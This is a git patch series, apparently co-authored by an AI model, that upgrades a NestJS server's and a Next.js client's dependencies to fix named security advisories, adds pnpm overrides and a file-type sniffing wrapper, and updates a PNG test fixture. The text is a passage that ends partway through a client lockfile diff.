From 4c204b1fb5452b2af95c20eb72148799bf178926 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:26:12 -0500 Subject: [PATCH 01/11] fix(server): patch drizzle-orm SQL injection, multer/file-type DoS advisories - Bump drizzle-orm 0.36.4 -> 0.45.2 (fixes SQL injection via improperly escaped identifiers, OWA-001-relevant, direct prod dependency). - Bump file-type 16.5.4 -> 21.3.4 (fixes DoS via malformed input). - Add pnpm.overrides forcing multer >=2.2.0 (fixes 3 DoS advisories) and lodash >=4.18.0 (code injection + prototype pollution, transitive via @nestjs/config); a plain package.json bump can't win here because @nestjs/platform-express@10.4.22 pins multer to the exact version 2.0.2. - file-type v17+ is ESM-only while this project compiles to CommonJS, so add server/src/core/storage/sniff-mime-type.ts wrapping the sniff call in a dynamic import(); update knowledge.controller.ts's upload handler to use it instead of a static import. - v21 also renamed fromBuffer -> fileTypeFromBuffer and now validates the IHDR chunk instead of trusting the bare 8-byte PNG signature; update the evidence-upload e2e test's PNG fixture to a structurally valid PNG. pnpm audit --prod --audit-level=high on server: 0 high/critical (was 6 high before this commit). Co-Authored-By: Claude Sonnet 5 --- server/package.json | 12 +- server/pnpm-lock.yaml | 133 ++++++------------ server/src/core/storage/sniff-mime-type.ts | 14 ++ .../modules/knowledge/knowledge.controller.ts | 5 +- .../knowledge.evidence-notes.e2e.test.ts | 8 +- 5 files changed, 78 insertions(+), 94 deletions(-) create mode 100644 server/src/core/storage/sniff-mime-type.ts diff --git a/server/package.json b/server/package.json index a1dc0fd..9696d2e 100644 --- a/server/package.json +++ b/server/package.json @@ -28,9 +28,9 @@ "bullmq": "^6.0.9", "dockerode": "^5.0.1", "dotenv": "^16.4.5", - "drizzle-orm": "^0.36.4", + "drizzle-orm": "^0.45.2", "fast-xml-parser": "5.11.0", - "file-type": "16.5.4", + "file-type": "^21.3.2", "helmet": "^8.0.0", "ioredis": "^6.0.0", "multer": "^2.2.0", @@ -71,5 +71,11 @@ "unplugin-swc": "^1.5.9", "vitest": "^2.1.8" }, - "packageManager": "pnpm@9.15.0+sha512.76e2379760a4328ec4415815bcd6628dee727af3779aaa4c914e3944156c4299921a89f976381ee107d41f12cfa4b66681ca9c718f0668fa0831ed4c6d8ba56c" + "packageManager": "pnpm@9.15.0+sha512.76e2379760a4328ec4415815bcd6628dee727af3779aaa4c914e3944156c4299921a89f976381ee107d41f12cfa4b66681ca9c718f0668fa0831ed4c6d8ba56c", + "pnpm": { + "overrides": { + "multer": ">=2.2.0", + "lodash": ">=4.18.0" + } + } } diff --git a/server/pnpm-lock.yaml b/server/pnpm-lock.yaml index af7e4c4..1dca03e 100644 --- a/server/pnpm-lock.yaml +++ b/server/pnpm-lock.yaml @@ -4,6 +4,10 @@ settings: autoInstallPeers: true excludeLinksFromLockfile: false +overrides: + multer: '>=2.2.0' + lodash: '>=4.18.0' + importers: .: @@ -39,14 +43,14 @@ importers: specifier: ^16.4.5 version: 16.6.1 drizzle-orm: - specifier: ^0.36.4 - version: 0.36.4(@types/pg@8.20.0)(pg@8.22.0) + specifier: ^0.45.2 + version: 0.45.2(@types/pg@8.20.0)(pg@8.22.0) fast-xml-parser: specifier: 5.11.0 version: 5.11.0 file-type: - specifier: 16.5.4 - version: 16.5.4 + specifier: ^21.3.2 + version: 21.3.4 helmet: specifier: ^8.0.0 version: 8.3.0 @@ -54,7 +58,7 @@ importers: specifier: ^6.0.0 version: 6.0.0 multer: - specifier: ^2.2.0 + specifier: '>=2.2.0' version: 2.2.0 openai: specifier: ^4.77.0 @@ -1453,6 +1457,10 @@ packages: resolution: {integrity: sha512-MADQgmZT1eKjp06jpI2yozxaU9uVs4GzzgSL+uEq7bVcJ9V1ZXQkeGNql1fsSI0gMy1vhvNTNbUqrx+pZfJVmg==} engines: {node: '>=18'} + '@tokenizer/inflate@0.4.1': + resolution: {integrity: sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==} + engines: {node: '>=18'} + '@tokenizer/token@0.3.0': resolution: {integrity: sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==} @@ -2341,36 +2349,36 @@ packages: resolution: {integrity: sha512-JimOV+ystXTWMgZkLHYHf2w3oS28hxiH1FR0dkmJLc7GHzdGJoJAQtQS5DRppnabsRZwE2U1F6CuezVBgmsBBQ==} hasBin: true - drizzle-orm@0.36.4: - resolution: {integrity: sha512-1OZY3PXD7BR00Gl61UUOFihslDldfH4NFRH2MbP54Yxi0G/PKn4HfO65JYZ7c16DeP3SpM3Aw+VXVG9j6CRSXA==} + drizzle-orm@0.45.2: + resolution: {integrity: sha512-kY0BSaTNYWnoDMVoyY8uxmyHjpJW1geOmBMdSSicKo9CIIWkSxMIj2rkeSR51b8KAPB7m+qysjuHme5nKP+E5Q==} peerDependencies: '@aws-sdk/client-rds-data': '>=3' - '@cloudflare/workers-types': '>=3' + '@cloudflare/workers-types': '>=4' '@electric-sql/pglite': '>=0.2.0' '@libsql/client': '>=0.10.0' '@libsql/client-wasm': '>=0.10.0' '@neondatabase/serverless': '>=0.10.0' '@op-engineering/op-sqlite': '>=2' '@opentelemetry/api': ^1.4.1 - '@planetscale/database': '>=1' + '@planetscale/database': '>=1.13' '@prisma/client': '*' '@tidbcloud/serverless': '*' '@types/better-sqlite3': '*' '@types/pg': '*' - '@types/react': '>=18' '@types/sql.js': '*' + '@upstash/redis': '>=1.34.7' '@vercel/postgres': '>=0.8.0' '@xata.io/client': '*' better-sqlite3: '>=7' bun-types: '*' expo-sqlite: '>=14.0.0' + gel: '>=2' knex: '*' kysely: '*' mysql2: '>=2' pg: '>=8' postgres: '>=3' prisma: '*' - react: '>=18' sql.js: '>=1' sqlite3: '>=5' peerDependenciesMeta: @@ -2400,10 +2408,10 @@ packages: optional: true '@types/pg': optional: true - '@types/react': - optional: true '@types/sql.js': optional: true + '@upstash/redis': + optional: true '@vercel/postgres': optional: true '@xata.io/client': @@ -2414,6 +2422,8 @@ packages: optional: true expo-sqlite: optional: true + gel: + optional: true knex: optional: true kysely: @@ -2426,8 +2436,6 @@ packages: optional: true prisma: optional: true - react: - optional: true sql.js: optional: true sqlite3: @@ -2684,10 +2692,6 @@ packages: resolution: {integrity: sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==} engines: {node: '>=16.0.0'} - file-type@16.5.4: - resolution: {integrity: sha512-/yFHK0aGjFEgDJjEKP0pWCplsPFPhwyfwevf/pVxiN0tmE4L9LmwWxWukdJSHdoCli4VgQLehjJtwQBnqmsKcw==} - engines: {node: '>=10'} - file-type@20.4.1: resolution: {integrity: sha512-hw9gNZXUfZ02Jo0uafWLaFVPter5/k2rfcrjFJJHX/77xtSDOfJuEFb6oKlFV86FLP1SuyHMW1PSk0U9M5tKkQ==} engines: {node: '>=18'} @@ -2696,6 +2700,10 @@ packages: resolution: {integrity: sha512-BfHZtG/l9iMm4Ecianu7P8HRD2tBHLtjXinm4X62XBOYzi7CYA7jyqfJzOvXHqzVrVPYqBo2/GvbARMaaJkKVg==} engines: {node: '>=18'} + file-type@21.3.4: + resolution: {integrity: sha512-Ievi/yy8DS3ygGvT47PjSfdFoX+2isQueoYP1cntFW1JLYAuS4GD7NUPGg4zv2iZfV52uDyk5w5Z0TdpRS6Q1g==} + engines: {node: '>=20'} + filename-reserved-regex@3.0.0: resolution: {integrity: sha512-hn4cQfU6GOT/7cFHXBqeBg2TbrMBgdD0kcjLhvSQYYwm3s4B6cjvBfb7nBALJLAXqmU5xajSa7X2NnUud/VCdw==} engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} @@ -3119,9 +3127,6 @@ packages: lodash.once@4.1.1: resolution: {integrity: sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==} - lodash@4.17.21: - resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==} - lodash@4.18.1: resolution: {integrity: sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q==} @@ -3249,10 +3254,6 @@ packages: mkdirp-classic@0.5.3: resolution: {integrity: sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==} - mkdirp@0.5.6: - resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==} - hasBin: true - mkdirp@1.0.4: resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==} engines: {node: '>=10'} @@ -3271,10 +3272,6 @@ packages: msgpackr@2.0.5: resolution: {integrity: sha512-cef05H/dSYpLpqp3sj/qyZh5vhUYCalnaLO7j1yOmpsR0y/XwLVtK7r5gn+U/F7CTEfMowcGhlUQJDLcLf7jcA==} - multer@2.0.2: - resolution: {integrity: sha512-u7f2xaZ/UG8oLXHvtF/oWTRvT44p9ecwBBqTwgJVq0+4BW1g8OW01TyMEGWBHbyMOYVHXslaut7qEQ1meATXgw==} - engines: {node: '>= 10.16.0'} - multer@2.2.0: resolution: {integrity: sha512-6rdyFg2kLrMh9Jee7/BMPuV9lEAd7lLW2YUpF9/YxR7njyoUwwQ0ZPh3TaIY50Sw6vlyD2HW3wGOkTS4P79xrQ==} engines: {node: '>= 10.16.0'} @@ -3465,10 +3462,6 @@ packages: pdfkit@0.20.2: resolution: {integrity: sha512-Q/w03ICAQyXfHNfTsg1udp0ADerdBN0s7a6XSPL7J7Ro6ABnafoBOCDBstIO9U02mvzHEV8HrvFIw5iV5ejIRA==} - peek-readable@4.1.0: - resolution: {integrity: sha512-ZI3LnwUv5nOGbQzD9c2iDG6toheuXSZP5esSHBjopsXH4dg19soufvpUGA3uohi5anFtGb2lhAVdHzH6R/Evvg==} - engines: {node: '>=8'} - pend@1.2.0: resolution: {integrity: sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==} @@ -3634,10 +3627,6 @@ packages: resolution: {integrity: sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - readable-web-to-node-stream@3.0.4: - resolution: {integrity: sha512-9nX56alTf5bwXQ3ZDipHJhusu9NTQJ/CVPtb/XHAJCXihZeitfJvIRS4GqQ/mfIoOE3IelHMrpayVrosdHBuLw==} - engines: {node: '>=8'} - readdir-glob@1.1.3: resolution: {integrity: sha512-v05I2k7xN8zXvPD9N+z/uhXPaj0sUFCe2rcWZIpBsqxfP7xXFQ0tipAd/wjj1YxWyWtUS5IDJpOG82JKt2EAVA==} @@ -3918,10 +3907,6 @@ packages: resolution: {integrity: sha512-ki4hZQfh5rX0QDLLkOCj+h+CVNkqmp/CMf8v8kZpkNVK6jGQooMytqzLZYUVYIZcFZ6yDB70EfD8POcFXiF5oA==} engines: {node: '>=18'} - strtok3@6.3.0: - resolution: {integrity: sha512-fZtbhtvI9I48xDSywd/somNqgUHl2L2cstmXCCif0itOf96jeW18MBSyrLuNicYQVkvpOxkZtkzujiTJ9LW5Jw==} - engines: {node: '>=10'} - superagent@10.3.0: resolution: {integrity: sha512-B+4Ik7ROgVKrQsXTV0Jwp2u+PXYLSlqtDAhYnkkD+zn3yg8s/zjA2MeGayPoY/KICrbitwneDHrjSotxKL+0XQ==} engines: {node: '>=14.18.0'} @@ -4067,10 +4052,6 @@ packages: resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} engines: {node: '>=0.6'} - token-types@4.2.1: - resolution: {integrity: sha512-6udB24Q737UD/SDsKAHI9FCRP7Bqc9D/MQUV02ORQg5iskjtLJlZJNdN4kKtcdtwCeWIwIHDGaUsTsCCAa8sFQ==} - engines: {node: '>=10'} - token-types@6.1.2: resolution: {integrity: sha512-dRXchy+C0IgK8WPC6xvCHFRIWYUbqqdEIKPaKo/AcTUNzwLTK6AH7RjdLWsEZcAN/TBdtfUw3PYEgPr5VPr6ww==} engines: {node: '>=14.16'} @@ -5011,7 +4992,7 @@ snapshots: '@nestjs/common': 10.4.22(reflect-metadata@0.2.2)(rxjs@7.8.2) dotenv: 16.4.5 dotenv-expand: 10.0.0 - lodash: 4.17.21 + lodash: 4.18.1 rxjs: 7.8.2 '@nestjs/core@10.4.22(@nestjs/common@10.4.22(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/platform-express@10.4.22)(reflect-metadata@0.2.2)(rxjs@7.8.2)': @@ -5043,7 +5024,7 @@ snapshots: body-parser: 1.20.4 cors: 2.8.5 express: 4.22.1 - multer: 2.0.2 + multer: 2.2.0 tslib: 2.8.1 transitivePeerDependencies: - supports-color @@ -5332,6 +5313,13 @@ snapshots: transitivePeerDependencies: - supports-color + '@tokenizer/inflate@0.4.1': + dependencies: + debug: 4.4.3 + token-types: 6.1.2 + transitivePeerDependencies: + - supports-color + '@tokenizer/token@0.3.0': {} '@types/body-parser@1.19.6': @@ -6386,7 +6374,7 @@ snapshots: transitivePeerDependencies: - supports-color - drizzle-orm@0.36.4(@types/pg@8.20.0)(pg@8.22.0): + drizzle-orm@0.45.2(@types/pg@8.20.0)(pg@8.22.0): optionalDependencies: '@types/pg': 8.20.0 pg: 8.22.0 @@ -6776,12 +6764,6 @@ snapshots: dependencies: flat-cache: 4.0.1 - file-type@16.5.4: - dependencies: - readable-web-to-node-stream: 3.0.4 - strtok3: 6.3.0 - token-types: 4.2.1 - file-type@20.4.1: dependencies: '@tokenizer/inflate': 0.2.7 @@ -6800,6 +6782,15 @@ snapshots: transitivePeerDependencies: - supports-color + file-type@21.3.4: + dependencies: + '@tokenizer/inflate': 0.4.1 + strtok3: 10.3.5 + token-types: 6.1.2 + uint8array-extras: 1.5.0 + transitivePeerDependencies: + - supports-color + filename-reserved-regex@3.0.0: {} filenamify@6.0.0: @@ -7270,8 +7261,6 @@ snapshots: lodash.once@4.1.1: {} - lodash@4.17.21: {} - lodash@4.18.1: {} log-symbols@4.1.0: @@ -7368,10 +7357,6 @@ snapshots: mkdirp-classic@0.5.3: {} - mkdirp@0.5.6: - dependencies: - minimist: 1.2.8 - mkdirp@1.0.4: {} ms@2.0.0: {} @@ -7394,16 +7379,6 @@ snapshots: optionalDependencies: msgpackr-extract: 3.0.4 - multer@2.0.2: - dependencies: - append-field: 1.0.0 - busboy: 1.6.0 - concat-stream: 2.0.0 - mkdirp: 0.5.6 - object-assign: 4.1.1 - type-is: 1.6.18 - xtend: 4.0.2 - multer@2.2.0: dependencies: append-field: 1.0.0 @@ -7569,8 +7544,6 @@ snapshots: linebreak: 1.1.0 png-js: 2.0.0 - peek-readable@4.1.0: {} - pend@1.2.0: {} pg-cloudflare@1.4.0: @@ -7754,10 +7727,6 @@ snapshots: process: 0.11.10 string_decoder: 1.3.0 - readable-web-to-node-stream@3.0.4: - dependencies: - readable-stream: 4.7.0 - readdir-glob@1.1.3: dependencies: minimatch: 5.1.9 @@ -8067,11 +8036,6 @@ snapshots: dependencies: '@tokenizer/token': 0.3.0 - strtok3@6.3.0: - dependencies: - '@tokenizer/token': 0.3.0 - peek-readable: 4.1.0 - superagent@10.3.0: dependencies: component-emitter: 1.3.1 @@ -8239,11 +8203,6 @@ snapshots: toidentifier@1.0.1: {} - token-types@4.2.1: - dependencies: - '@tokenizer/token': 0.3.0 - ieee754: 1.2.1 - token-types@6.1.2: dependencies: '@borewit/text-codec': 0.2.2 diff --git a/server/src/core/storage/sniff-mime-type.ts b/server/src/core/storage/sniff-mime-type.ts new file mode 100644 index 0000000..e400632 --- /dev/null +++ b/server/src/core/storage/sniff-mime-type.ts @@ -0,0 +1,14 @@ +/** + * Wraps `file-type`'s magic-byte content sniffing (SEC-051/OWA-024: never trust a client-supplied + * Content-Type or filename extension). Isolated in its own module because `file-type` v17+ is + * ESM-only while this project compiles to CommonJS (`tsconfig.json`'s `"module": "commonjs"`) -- + * a static `import` would fail to `require()` at runtime, so it's loaded via a dynamic `import()`, + * which Node's CJS runtime can resolve to an ESM module. Any parse failure (including the kind of + * malformed-input hang/crash `file-type`'s advisories describe) is treated as "type not detected" + * rather than allowed to propagate, since detection failure must fail closed for an upload check. + */ +export async function sniffMimeType(buffer: Buffer): Promise { + const { fileTypeFromBuffer } = await import("file-type"); + const detected = await fileTypeFromBuffer(buffer).catch(() => undefined); + return detected?.mime; +} diff --git a/server/src/modules/knowledge/knowledge.controller.ts b/server/src/modules/knowledge/knowledge.controller.ts index b0ce7ba..2ae2c12 100644 --- a/server/src/modules/knowledge/knowledge.controller.ts +++ b/server/src/modules/knowledge/knowledge.controller.ts @@ -12,8 +12,8 @@ import { UseInterceptors, } from "@nestjs/common"; import { FileInterceptor } from "@nestjs/platform-express"; -import { fromBuffer } from "file-type"; import type { Request, Response } from "express"; +import { sniffMimeType } from "../../core/storage/sniff-mime-type"; import { UnauthorizedError, ValidationError } from "../../core/http/domain-error"; import { ZodValidationPipe } from "../../core/validation/zod-validation.pipe"; import { JwtAuthGuard } from "../auth/guards/jwt-auth.guard"; @@ -90,8 +90,7 @@ export class KnowledgeController { throw new ValidationError("An evidence file is required (multipart field 'file')"); } - const detected = await fromBuffer(file.buffer).catch(() => undefined); - const sniffedMimeType = detected?.mime; + const sniffedMimeType = await sniffMimeType(file.buffer); if (!sniffedMimeType || !(ALLOWED_EVIDENCE_MIME_TYPES as readonly string[]).includes(sniffedMimeType)) { throw new ValidationError( "Unsupported evidence file type -- content does not match an allowed image or PDF signature", diff --git a/server/tests/integration/knowledge.evidence-notes.e2e.test.ts b/server/tests/integration/knowledge.evidence-notes.e2e.test.ts index 99cdf8c..de65513 100644 --- a/server/tests/integration/knowledge.evidence-notes.e2e.test.ts +++ b/server/tests/integration/knowledge.evidence-notes.e2e.test.ts @@ -44,7 +44,13 @@ function dataOf(response: request.Response): T { return (response.body as { data: T }).data; } -const PNG_SIGNATURE = Buffer.concat([Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]), Buffer.alloc(64)]); +// A real, structurally valid 1x1 PNG (signature + minimal IHDR/IDAT/IEND chunks). `file-type` +// v21+ validates the IHDR chunk rather than trusting the bare 8-byte signature, so a +// signature-plus-zero-padding fixture (sufficient pre-upgrade) no longer sniffs as `image/png`. +const PNG_SIGNATURE = Buffer.from( + "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=", + "base64", +); const EXE_SIGNATURE = Buffer.concat([Buffer.from([0x4d, 0x5a]), Buffer.alloc(64)]); describe("Evidence upload and notes (POST /api/v1/projects/:id/evidence, /notes)", () => { From 86765322c35d739ab50d5daded9a1d7aaa6c97b9 Mon Sep 17 00:00:00 2001 From: Alexander Date: Sat, 5 Sep 2026 22:29:59 -0500 Subject: [PATCH 02/11] fix(client): patch next SSRF/DoS chain and sharp libvips CVEs - Bump next 16.2.10 -> ^16.2.11 (resolves to 16.3.4), fixing 4 high advisories including SSRF in Server Actions/rewrites and a middleware/proxy bypass. - Add pnpm.overrides forcing sharp >=0.35.0 (libvips CVEs), postcss >=8.5.18, nanoid >=3.3.18, browserslist >=4.28.7 -- safe patch-level fixes for Tailwind/PostCSS/webpack build-tool-chain transitive deps. pnpm audit --prod --audit-level=high on client: 0 high/critical (was 10 high before this commit). typecheck, lint, test (166 tests), and build all pass unchanged. Co-Authored-By: Claude Sonnet 5 --- client/package.json | 10 +- client/pnpm-lock.yaml | 589 ++++++++++++++++++++---------------------- 2 files changed, 295 insertions(+), 304 deletions(-) diff --git a/client/package.json b/client/package.json index 887760e..8f81263 100644 --- a/client/package.json +++ b/client/package.json @@ -20,7 +20,7 @@ "d3-force": "^3.0.0", "framer-motion": "^12.42.2", "lucide-react": "^1.25.0", - "next": "16.2.10", + "next": "^16.2.11", "react": "19.2.4", "react-dom": "19.2.4", "tailwind-merge": "^3.6.0", @@ -46,5 +46,13 @@ "tailwindcss": "^4", "typescript": "^5", "vitest": "^4.1.11" + }, + "pnpm": { + "overrides": { + "sharp": ">=0.35.0", + "postcss": ">=8.5.18", + "nanoid": ">=3.3.18", + "browserslist": ">=4.28.7" + } } } diff --git a/client/pnpm-lock.yaml b/client/pnpm-lock.yaml index 82359f0..5922742 100644 --- a/client/pnpm-lock.yaml +++ b/client/pnpm-lock.yaml @@ -4,6 +4,12 @@ settings: autoInstallPeers: true excludeLinksFromLockfile: false +overrides: + sharp: '>=0.35.0' + postcss: '>=8.5.18' + nanoid: '>=3.3.18' + browserslist: '>=4.28.7' + importers: .: @@ -30,8 +36,8 @@ importers: specifier: ^1.25.0 version: 1.25.0(react@19.2.4) next: - specifier: 16.2.10 - version: 16.2.10(@babel/core@7.29.7)(@playwright/test@1.62.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + specifier: ^16.2.11 + version: 16.3.4(@babel/core@7.29.7)(@playwright/test@1.62.1)(@types/node@20.19.43)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) react: specifier: 19.2.4 version: 19.2.4 @@ -50,7 +56,7 @@ importers: devDependencies: '@attack-surface-studio/server': specifier: file:../server - version: file:../server(@types/react@19.2.17)(react@19.2.4) + version: file:../server '@playwright/test': specifier: ^1.62.1 version: 1.62.1 @@ -250,8 +256,8 @@ packages: '@emnapi/runtime@1.10.0': resolution: {integrity: sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==} - '@emnapi/runtime@1.11.2': - resolution: {integrity: sha512-kyOl3X0DuTiT1h2ft8r2fYO8JYtU9a9Xis/zBSiGArNaagCOWx90N1k2wxp18czFDH+OgcWGb5ZP/XMt3dcyPA==} + '@emnapi/runtime@1.11.3': + resolution: {integrity: sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA==} '@emnapi/wasi-threads@1.2.1': resolution: {integrity: sha512-uTII7OYF+/Mes/MrcIOYp5yOtSMLBWSIoLPpcgwipoiKbli6k322tcoFsxoIIxPDqW01SQGAgko4EzZi2BNv2w==} @@ -344,136 +350,145 @@ packages: resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} - '@img/sharp-darwin-arm64@0.34.5': - resolution: {integrity: sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-darwin-arm64@0.35.4': + resolution: {integrity: sha512-Uhfl4V4lhP2nbUVF9+hyH1+luj86f1gUFeo8ALYxFoULoU+G87D43BfeMP8XHsk9boxAnCY/bf2EHwhA7MuGsA==} + engines: {node: '>=20.9.0'} cpu: [arm64] os: [darwin] - '@img/sharp-darwin-x64@0.34.5': - resolution: {integrity: sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw==} - engines: {node: ^18.17.0 || ^20.3.0 || >=21.0.0} + '@img/sharp-darwin-x64@0.35.4': + resolution: {integrity: sha512-hWniXY3bG5qKpkKrAwPe4y+VTPmf086YQAnkxWh7uA1YrlRouWGa0M0Mxj3ZjnXFkv7/TD1bTy9lGUK26vRvWw==} + engines: {node: '>=20.9.0'} cpu: [x64] os: [darwin] - '@img/sharp-libvips-darwin-arm64@1.2.4': - resolution: {integrity: sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g==} + '@img/sharp-freebsd-wasm32@0.35.4': + resolution: {integrity: sha512-lIsKw/BU+kjB4eZjxrYrZmwOJYi3Ajrv66iAlBmUPyKc3HpnloevB1g3wxGD9P/5BbQ1brBGl65VRRrCvQDEqA==} + engines: {node: '>=20.9.0'} + os: [freebsd] + + '@img/sharp-libvips-darwin-arm64@1.3.3': + resolution: {integrity: sha512-suTBPTDGrI9WodccaDdwZItTSaBYASlBk1NSfElSHrUfzu3szG6lvIF58+WiFvnfzuK8ZBFS5zE00PxqxnRiPg==} cpu: [arm64] os: [darwin] - '@img/sharp-libvips-darwin-x64@1.2.4': - resolution: {integrity: sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg==} + '@img/sharp-libvips-darwin-x64@1.3.3': + resolution: {integrity: sha512-FVJZ5mITMobmXIz/hPDTw0EintTW5H3WfrxwLqEqjiIihlu+hVRyGrFQ60xl0Lxn7Bt3zdpevPaQi0HEzqz9fw==} cpu: [x64] os: [darwin] - '@img/sharp-libvips-linux-arm64@1.2.4': - resolution: {integrity: sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw==} + '@img/sharp-libvips-linux-arm64@1.3.3': + resolution: {integrity: sha512-0DaL0A6Xu6sQSQFwe4iVCrKWU2cCTItnRsYsCdxAMm9NF6twAA9BKnoqy4hqz4+azQ0JHuA26qiUKsf1XJ/v5A==} cpu: [arm64] os: [linux] - '@img/sharp-libvips-linux-arm@1.2.4': - resolution: {integrity: sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A==} + '@img/sharp-libvips-linux-arm@1.3.3': + resolution: {integrity: sha512-3rbU4vqXXc3hY/OiXdl52xZvT0F1yEngWfvqudtPJg/KkyiaQw2DRsFrNzpmLvfavbwOq3qXn36GP8obHRULQA==} cpu: [arm] os: [linux] - '@img/sharp-libvips-linux-ppc64@1.2.4': - resolution: {integrity: sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA==} + '@img/sharp-libvips-linux-ppc64@1.3.3': + resolution: {integrity: sha512-cdn1OvUBwsXhbC0zSzJnNzf5MZ/mTrobawDvNXBTxe8VtqKAm0sRuEY2Evzovb/w9JMk4TvRxqt1mekSuJz64w==} cpu: [ppc64] os: [linux] - '@img/sharp-libvips-linux-riscv64@1.2.4': - resolution: {integrity: sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA==} + '@img/sharp-libvips-linux-riscv64@1.3.3': + resolution: {integrity: sha512-HjPVx7yKz+0lqdhDlTw1tt90wamBoxhiXpvl1XZpJLiHH4RCJ5yDTqH+VlYPv2fwFs89JFw4c1IexYOcQUi4IQ==} cpu: [riscv64] os: [linux] - '@img/sharp-libvips-linux-s390x@1.2.4': - resolution: {integrity: sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ==} + '@img/sharp-libvips-linux-s390x@1.3.3': + resolution: {integrity: sha512-neWLh+3yCNThxnfy3c4BbVBeGgt9aftno+XbT56iK28RgeDs3UOFWviLWlUu0bArYVYJaFDK+RRohbicUNCm8Q==} cpu: [s390x] os: [linux] - '@img/sharp-libvips-linux-x64@1.2.4': - resolution: {integrity: sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw==} + '@img/sharp-libvips-linux-x64@1.3.3': + resolution: {integrity: sha512-4vKmvAst9nrowcqquKFAyZJUDolUaIp8uRiN0mWFguJ1IplC9/pitXtlnnlU4aa/eJw3J7i67V+pwUL+wZGdsA==} cpu: [x64] os: [linux] - '@img/sharp-libvips-linuxmusl-arm64@1.2.4': - resolution: {integrity: sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw==} + '@img/sharp-libvips-linuxmusl-arm64@1.3.3': + resolution: {integrity: sha512-Y9kQaLMuNoB0bPYOOdcZMaseNrFpPodIWWMrx+CZyydf2xn68j9WYc6sWWRrDwNkzCQjKYfc68L7jKjGlHMibw==} cpu: [arm64] os: [linux] - 